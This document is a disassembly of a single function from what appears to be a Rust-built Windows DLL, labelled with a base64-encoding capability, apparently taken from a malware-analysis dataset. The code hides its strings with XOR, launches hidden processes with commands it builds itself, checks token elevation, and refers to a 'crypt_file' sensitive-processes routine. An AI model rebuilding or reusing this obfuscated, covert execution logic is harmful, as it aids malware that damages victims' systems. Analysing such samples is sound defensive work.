Function at 0x10004620
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
call sym.crypt_file::proc_sens::sensitive_processes::h0c16fb04f91dfaa3
lea esi, [ebp - 0x1a4]
push esi
call sym.std::env::args::h275b46c5f7a6d6ed
add esp, 4
lea eax, [ebp - 0x194]
push esi
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17ha317f75ca
add esp, 8
mov ecx, dword [ebp - 0x18c]
test ecx, ecx
mov dword [ebp - 0x14c], ecx
je 0x10005752
mov eax, dword [ebp - 0x190]
xor ebx, ebx
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x14c]
lea eax, [eax*4]
lea eax, [eax + eax*2]
mov dword [ebp - 0x10], eax
jmp 0x1000469c
add ebx, 0xc
cmp dword [ebp - 0x10], ebx
je 0x10005752
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x58]
mov edi, dword [eax + ebx + 4]
mov esi, dword [eax + ebx + 8]
lea eax, [0x1014c247]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0x739a4ec
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::hdd0337ea5728f796
add esp, 8
mov ecx, dword [eax]
mov edx, 0x6c0da782
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [ebp - 0xf4], ecx
mov ecx, 0xc74cf47c
xor al, 0x3d
xor edx, ecx
xor ah, 0x4b
cmp esi, 0xa
mov dword [ebp - 0xf0], edx
mov byte [ebp - 0xec], al
mov byte [ebp - 0xeb], ah
jne 0x10004690
push 0xa
lea eax, [ebp - 0xf4]
push eax
push edi
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10004690
lea eax, [ebp - 0xf4]
push eax
call sym.crypt_file::get_own_dll_path::h3835b8cdf5f46e3e
add esp, 4
xor eax, eax
cmp eax, dword [ebp - 0xf4]
jo 0x100057ca
mov eax, dword [ebp - 0xec]
movsd xmm0, qword [ebp - 0xf4]
mov dword [ebp - 0x174], eax
movsd qword [ebp - 0x17c], xmm0
lea eax, [ebp - 0xf4]
push eax
call sym.crypt_file::get_own_dll_path::h3835b8cdf5f46e3e
add esp, 4
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x134], eax
neg eax
jo 0x100057e0
mov eax, dword [ebp - 0xf0]
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x138], eax
lea eax, [0x1014ce79]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x88e350c7
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::h2f2cbaab3c2c9921
add esp, 8
mov ecx, 0x6337b512
mov edx, 0x272244d8
mov esi, 0x98971384
mov edi, 0x26127017
mov ebx, 0x6a0427ff
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x318da0c2
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x164], eax
lea eax, [0x101550f2]
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], esi
mov dword [ebp - 0x158], edi
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], ecx
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x3018726d
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::h0a485838bf873879
add esp, 8
mov ecx, 0xffa910c3
mov edi, 0xe116cf93
mov esi, 0x2472cfc1
mov edx, 0xccd0f184
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x6b92dd7b
xor ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov ecx, 0x378909c5
xor ecx, dword [eax + 8]
mov dword [ebp - 0x20], ecx
mov ecx, 0xc085f13d
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c], ecx
mov ecx, 0xaaefa3ec
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x18], ecx
mov ecx, 0x8cd39805
xor ecx, dword [eax + 0x14]
mov dword [ebp - 0x28], ecx
mov ecx, 0x5bbba6c
xor ecx, dword [eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, 0x2c3661f7
xor ecx, dword [eax + 0x1c]
mov dword [ebp - 0x5c], ecx
mov ecx, 0x8ee30674
xor edi, dword [eax + 0x20]
xor esi, dword [eax + 0x24]
xor edx, dword [eax + 0x28]
xor ecx, dword [eax + 0x2c]
movzx eax, byte [eax + 0x30]
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0xf4], ebx
mov ebx, dword [ebp - 0x24]
xor al, 0x22
mov dword [ebp - 0xf0], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0xec], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xe8], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0xe4], ebx
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0xe0], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0xdc], ebx
mov ebx, dword [ebp - 0x5c]
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], edi
mov dword [ebp - 0xd0], esi
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0xc8], ecx
mov byte [ebp - 0xc4], al
lea eax, [0x10150470]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0xdd7cf853
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::hc39629c278208c0e
add esp, 8
mov ecx, 0xf89bc4d0
mov edi, 0x60cf48e2
mov esi, 0xb3bacd6b
mov edx, 0xa8ecd460
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x80311ed0
xor ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov ecx, 0xde82ab85
xor ecx, dword [eax + 8]
mov dword [ebp - 0x20], ecx
mov ecx, 0xf5bb81fc
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c], ecx
mov ecx, 0x350c24fe
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x18], ecx
mov ecx, 0x83e43ad7
xor ecx, dword [eax + 0x14]
mov dword [ebp - 0x28], ecx
mov ecx, 0x9365c988
xor ecx, dword [eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, 0x7e796750
xor edi, dword [eax + 0x1c]
xor esi, dword [eax + 0x20]
xor edx, dword [eax + 0x24]
xor ecx, dword [eax + 0x28]
movzx eax, byte [eax + 0x2c]
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x20
mov byte [ebp - 0x68], 3
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x24]
xor al, 0x39
mov dword [ebp - 0x54], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], 0x101052ac
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x120]
push eax
push ecx
call sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h935fbe5629aa5d2a
add esp, 8
test al, al
jne 0x100057f6
mov eax, dword [ebp - 0x114]
mov esi, dword [ebp - 0x110]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x24], eax
lea eax, [0x101571c3]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x88], 0x6d007797
push dword [ebp - 0x88]
push eax
call sym.obfstr::xref::inner::hf2f85fa48d39cda2
add esp, 8
mov ecx, 0x70130b35
mov edx, 0x2c4f22e9
xor ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
mov ecx, 0x3fc1d26f
xor ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
mov ecx, 0xb40a2589
xor ecx, dword [eax + 8]
mov dword [ebp - 0x28], ecx
mov ecx, 0xe7d4c754
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x20], esi
mov esi, 0x98f161ab
mov dword [ebp - 0x14], ecx
mov ecx, 0xca5ebae0
xor esi, dword [eax + 0x10]
xor edx, dword [eax + 0x14]
xor ecx, dword [eax + 0x18]
movzx ebx, byte [eax + 0x1e]
movzx eax, word [eax + 0x1c]
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x114], edi
mov edi, dword [ebp - 0x18]
xor al, 0x41
xor ah, 0x38
xor bl, 0x54
mov dword [ebp - 0x110], edi
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x10c], edi
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x108], edi
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x100], edx
mov dword [ebp - 0xfc], ecx
mov byte [ebp - 0xf8], al
mov byte [ebp - 0xf7], ah
lea eax, [ebp - 0x164]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0xf6], bl
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x84], 0x18
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x7c], 0x31
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x74], 0x2d
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], 0x1f
lea ebx, [ebp - 0x12c]
push 0
push 1
push 5
lea eax, [ebp - 0x88]
push eax
push ebx
call sym.alloc::str::join_generic_copy::hdcb4353225ad3d8e
add esp, 0x14
mov eax, dword [ebp - 0x12c]
mov edi, dword [ebp - 0x124]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10004c11
push 1
push eax
push esi
call sym.___rust_dealloc
add esp, 0xc
lea eax, [0x1014f725]
lea esi, [ebp - 0xf4]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x93d80781
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::h68ae7fbc183dbedf
add esp, 8
mov ecx, 0xc3e1d6f5
mov edx, 0xdede472a
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0xd7
xor ah, 0x8a
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x84], edx
mov byte [ebp - 0x80], al
mov byte [ebp - 0x7f], ah
push 0xa
lea eax, [ebp - 0x88]
push eax
push esi
call sym.std::sys::pal::windows::process::Command::new::h878f9ba68b28767c
add esp, 0xc
lea eax, [0x10153bfd]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0xc88e73b0
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::h76fdd54657f404ef
add esp, 8
mov ecx, 0x7e3293cc
mov edx, 0xa52bb8c9
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x12c], ecx
push 8
push ebx
push esi
call sym.std::sys::pal::windows::process::Command::arg::ha98b56b504276ddd
add esp, 0xc
push edi
push dword [ebp - 0x14]
push esi
call sym.std::sys::pal::windows::process::Command::arg::ha98b56b504276ddd
add esp, 0xc
mov dword [ebp - 0x9c], 0x8000000
push esi
lea eax, [ebp - 0x58]
push eax
call sym.std::process::Command::output::h7e8d2c585da5a491
add esp, 8
xor eax, eax
cmp eax, dword [ebp - 0x58]
jo 0x10005818
mov eax, dword [ebp - 0x40]
movsd xmm0, qword [ebp - 0x48]
movsd xmm2, qword [ebp - 0x58]
movsd xmm1, qword [ebp - 0x50]
mov dword [ebp - 0xfc], eax
movsd qword [ebp - 0x104], xmm0
movsd qword [ebp - 0x10c], xmm1
movsd qword [ebp - 0x114], xmm2
lea ecx, [ebp - 0xf4]
call sym.core::ptr::drop_in_place_LT_std..process..Command_GT_::h1b3a3923250e0654
cmp dword [ebp - 0xfc], 0
je 0x10005576
call sym.rand::rngs::thread::thread_rng::h04c78a0059c4e333
mov esi, eax
mov dword [ebp - 0x12c], eax
lea eax, [0x1014b15b]
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x9a162a1b
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::hf96b86ebea7f64db
add esp, 8
mov ecx, 0x2b61909f
mov edx, 0x373df8e6
mov ebx, 0x8c0ee236
mov edi, 0x59494852
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
xor edi, dword [eax + 0xc]
lea eax, [ebp - 0xe4]
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf0], edx
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], edi
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x164]
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h8b726b8a4
add esp, 0xc
lea eax, [0x1014b6b8]
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x75b456eb
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::hb10b9edf80e55f34
add esp, 8
mov ecx, 0x1b9997fd
mov ebx, 0x1827156
mov edi, 0xbaba46c2
mov edx, 0xbe2d8193
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x5a24a8e
xor ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov ecx, 0xd2863217
xor ecx, dword [eax + 8]
mov dword [ebp - 0x20], ecx
mov ecx, 0x8c5fd6d5
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x1c], ecx
mov ecx, 0xa62cff77
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x18], ecx
mov ecx, 0xcde3351c
xor ebx, dword [eax + 0x14]
xor edi, dword [eax + 0x18]
xor edx, dword [eax + 0x1c]
xor ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], edi
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xd4], ecx
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x88]
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h8b726b8a4
add esp, 0xc
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x80]
test eax, eax
je 0x100051ae
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x15c]
mov ebx, esi
xor edi, edi
add ebx, 0x110
mov dword [ebp - 0x1c], ebx
lea eax, [ecx + eax*4]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], eax
lea eax, [esi + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x28], eax
jmp 0x10004f59
mov eax, dword [ebp - 0x54]
mov byte [eax + edi], bl
inc edi
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x50], edi
add ecx, 4
cmp ecx, dword [ebp - 0x24]
je 0x100051ae
mov ebx, dword [ecx]
mov dword [ebp - 0x10], ecx
cmp ebx, 0x77
jg 0x10004f80
cmp ebx, 0x2d
je 0x10004f71
cmp ebx, 0x34
jne 0x1000577f
cmp edi, dword [ebp - 0x58]
jne 0x10004f40
jmp 0x100050b6
cmp ebx, 0x78
je 0x10005010
cmp ebx, 0x79
jne 0x1000577f
mov ecx, dword [esi + 0x108]
mov edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
jmp 0x10004fc1
mov ecx, ebx
mov edx, edi
call sym.__ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h38bc624c9d2e11c9E.llvm.1478059385986143
xor ecx, ecx
mov eax, dword [esi + ecx*4 + 8]
inc ecx
mov dword [esi + 0x108], ecx
test eax, 0x10000000
je 0x10005090
cmp ecx, 0x40
jb 0x10004fab
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x10004fa0
cmp dword [esi + 0x150], 0
js 0x10004fa0
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov ecx, ebx
mov edx, edi
call sym.__ZN84__LT_rand_chacha..chacha..ChaCha12Core_u20_as_u20_rand_core..block..BlockRngCore_GT_8generate17h43f15868ad9c6acfE.llvm.1
jmp 0x10004fa9
mov ecx, dword [esi + 0x108]
mov edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
jmp 0x1000503d
mov ecx, ebx
mov edx, edi
call sym.__ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h38bc624c9d2e11c9E.llvm.1478059385986143
xor ecx, ecx
mov eax, dword [esi + ecx*4 + 8]
inc ecx
mov dword [esi + 0x108], ecx
test eax, 0x8000000
je 0x10005080
cmp ecx, 0x40
jb 0x1000502b
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x10005020
cmp dword [esi + 0x150], 0
js 0x10005020
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov ecx, ebx
mov edx, edi
call sym.__ZN84__LT_rand_chacha..chacha..ChaCha12Core_u20_as_u20_rand_core..block..BlockRngCore_GT_8generate17h43f15868ad9c6acfE.llvm.1
jmp 0x10005029
shr eax, 0x1c
cmp eax, dword [ebp - 0x18]
jb 0x1000509f
jmp 0x10005768
shr eax, 0x1d
or eax, 8
cmp eax, dword [ebp - 0x18]
jae 0x10005761
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ecx + eax*4]
cmp ebx, 0x7f
ja 0x100050d0
mov edi, dword [ebp - 0x50]
cmp edi, dword [ebp - 0x58]
jne 0x10004f40
lea eax, [ebp - 0x58]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h0ebafd928a8bf920
add esp, 4
jmp 0x10004f40
mov eax, ebx
cmp ebx, 0x800
mov dword [ebp - 0xf4], 0
jae 0x10005102
shr eax, 6
and bl, 0x3f
mov edi, 2
or al, 0xc0
or bl, 0x80
mov byte [ebp - 0xf4], al
mov byte [ebp - 0xf3], bl
jmp 0x10005171
cmp ebx, 0x10000
jae 0x10005137
shr eax, 0xc
mov edi, 3
or al, 0xe0
mov byte [ebp - 0xf4], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [ebp - 0xf3], al
mov byte [ebp - 0xf2], bl
jmp 0x10005171
shr eax, 0x12
mov edi, 4
or al, 0xf0
mov byte [ebp - 0xf4], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebp - 0xf3], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [ebp - 0xf2], al
mov byte [ebp - 0xf1], bl
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
sub ecx, eax
cmp ecx, edi
jae 0x10005192
push 1
push 1
push edi
push eax
lea eax, [ebp - 0x58]
push eax
call sym.alloc::raw_vec::RawVecInner_LT_A_GT_::reserve::do_reserve_and_handle::ha07555954f440412
add esp, 0x14
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x54]
push edi
lea ecx, [ebp - 0xf4]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add edi, dword [ebp - 0x50]
jmp 0x10004f47
mov eax, dword [ebp - 0x148]
test eax, eax
je 0x100051cc
shl eax, 2
push 4
push eax
push dword [ebp - 0x130]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x50]
movsd xmm0, qword [ebp - 0x58]
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x164]
movsd qword [ebp - 0x170], xmm0
test eax, eax
je 0x10005206
shl eax, 2
push 4
push eax
push dword [ebp - 0x160]
call sym.___rust_dealloc
add esp, 0xc
dec dword [esi]
jne 0x1000521f
dec dword [esi + 4]
jne 0x1000521f
push 8
push 0x158
push esi
call sym.___rust_dealloc
add esp, 0xc
lea eax, [ebp - 0x170]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0xf4], 0x10157610
mov dword [ebp - 0xf0], 2
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x54], fcn.10004390
mov dword [ebp - 0xe8], 1
lea esi, [ebp - 0xf4]
push esi
push edi
call sym.alloc::fmt::format::format_inner::h615817f0e0a04e8e
add esp, 8
movsd xmm0, qword [ebp - 0x12c]
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0xf4], 0
movsd qword [ebp - 0x120], xmm0
mov dword [ebp - 0x118], eax
call sub.kernel32.dll_GetCurrentProcess
lea edi, [ebp - 0x88]
push edi
push 8
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x10005366
push esi
push 4
lea eax, [ebp - 0x58]
push eax
push 0x14
push dword [ebp - 0x88]
call sub.advapi32.dll_GetTokenInformation
mov esi, eax
push dword [ebp - 0x88]
call sub.kernel32.dll_CloseHandle
test esi, esi
lea esi, [ebp - 0xf4]
je 0x10005366
cmp dword [ebp - 0x58], 0
je 0x10005366
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x138]
lea edx, [ebp - 0x120]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h935fbe5629aa5d2a
mov dword [ebp - 0xf4], 0x10157820
mov dword [ebp - 0xf0], 3
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], fcn.10004390
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], 2
push esi
lea esi, [ebp - 0x164]
push esi
call sym.alloc::fmt::format::format_inner::h615817f0e0a04e8e
add esp, 8
jmp 0x100053d8
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h935fbe5629aa5d2a
mov dword [ebp - 0xf4], 0x10157780
mov dword [ebp - 0xf0], 3
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x4c], fcn.10004390
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], 2
mov eax, esi
lea esi, [ebp - 0x164]
push eax
push esi
call sym.alloc::fmt::format::format_inner::h615817f0e0a04e8e
add esp, 8
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov esi, dword [esi + 8]
lea ebx, [ebp - 0xf4]
mov dword [ebp - 0x10], eax
lea eax, [0x101508d6]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x22a1b0fa
push dword [ebp - 0xf4]
push eax
call sym.obfstr::xref::inner::hf2af88f80fc7362b
add esp, 8
mov ecx, 0xb6092e70
mov edx, 0xeb2b95f3
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0x19
xor ah, 0x9e
mov dword [ebp - 0x188], ecx
mov dword [ebp - 0x184], edx
mov byte [ebp - 0x180], al
mov byte [ebp - 0x17f], ah
lea eax, [ebp - 0x188]
push 0xa
push eax
push ebx
call sym.std::sys::pal::windows::process::Command::new::h878f9ba68b28767c
add esp, 0xc
push esi
push dword [ebp - 0x10]
push ebx
call sym.std::sys::pal::windows::process::Command::arg::ha98b56b504276ddd
add esp, 0xc
mov dword [ebp - 0x9c], 0x8000000
push ebx
lea eax, [ebp - 0x58]
push eax
call sym.std::process::Command::output::h7e8d2c585da5a491
add esp, 8
lea eax, [0x101491dd]
lea esi, [ebp - 0x144]
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x144]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x144], 0xe0995d76
push dword [ebp - 0x144]
push eax
call sym.obfstr::xref::inner::h4b1f0626599d1f55
add esp, 8
xor eax, eax
cmp eax, dword [ebp - 0x58]
jo 0x10005844
mov eax, dword [ebp - 0x40]
movsd xmm0, qword [ebp - 0x48]
movsd xmm2, qword [ebp - 0x58]
movsd xmm1, qword [ebp - 0x50]
mov dword [ebp - 0x70], eax
movsd qword [ebp - 0x78], xmm0
movsd qword [ebp - 0x80], xmm1
movsd qword [ebp - 0x88], xmm2
lea ecx, [ebp - 0xf4]
call sym.core::ptr::drop_in_place_LT_std..process..Command_GT_::h1b3a3923250e0654
cmp dword [ebp - 0x70], 0
je 0x100055ec
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x10005519
push 1
push eax
push dword [ebp - 0x84]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x1000552e
push 1
push eax
push dword [ebp - 0x78]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x10005540
push 1
push edi
push dword [ebp - 0x10]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x120]
test eax, eax
je 0x1000555b
push 1
push eax
push dword [ebp - 0x11c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x170]
test eax, eax
je 0x10005576
push 1
push eax
push dword [ebp - 0x16c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x114]
test eax, eax
je 0x10005591
push 1
push eax
push dword [ebp - 0x110]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x108]
test eax, eax
je 0x100055ac
push 1
push eax
push dword [ebp - 0x104]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x5c]
test eax, eax
je 0x100055c1
push 1
push eax
push dword [ebp - 0x14]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x134]
test eax, eax
je 0x100055d9
push 1
push eax
push dword [ebp - 0x60]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x17c]
test eax, eax
je 0x100056e2
jmp 0x100056d1
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x10005607
push 1
push eax
push dword [ebp - 0x84]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x1000561c
push 1
push eax
push dword [ebp - 0x78]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x1000562e
push 1
push edi
push dword [ebp - 0x10]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x120]
test eax, eax
je 0x10005649
push 1
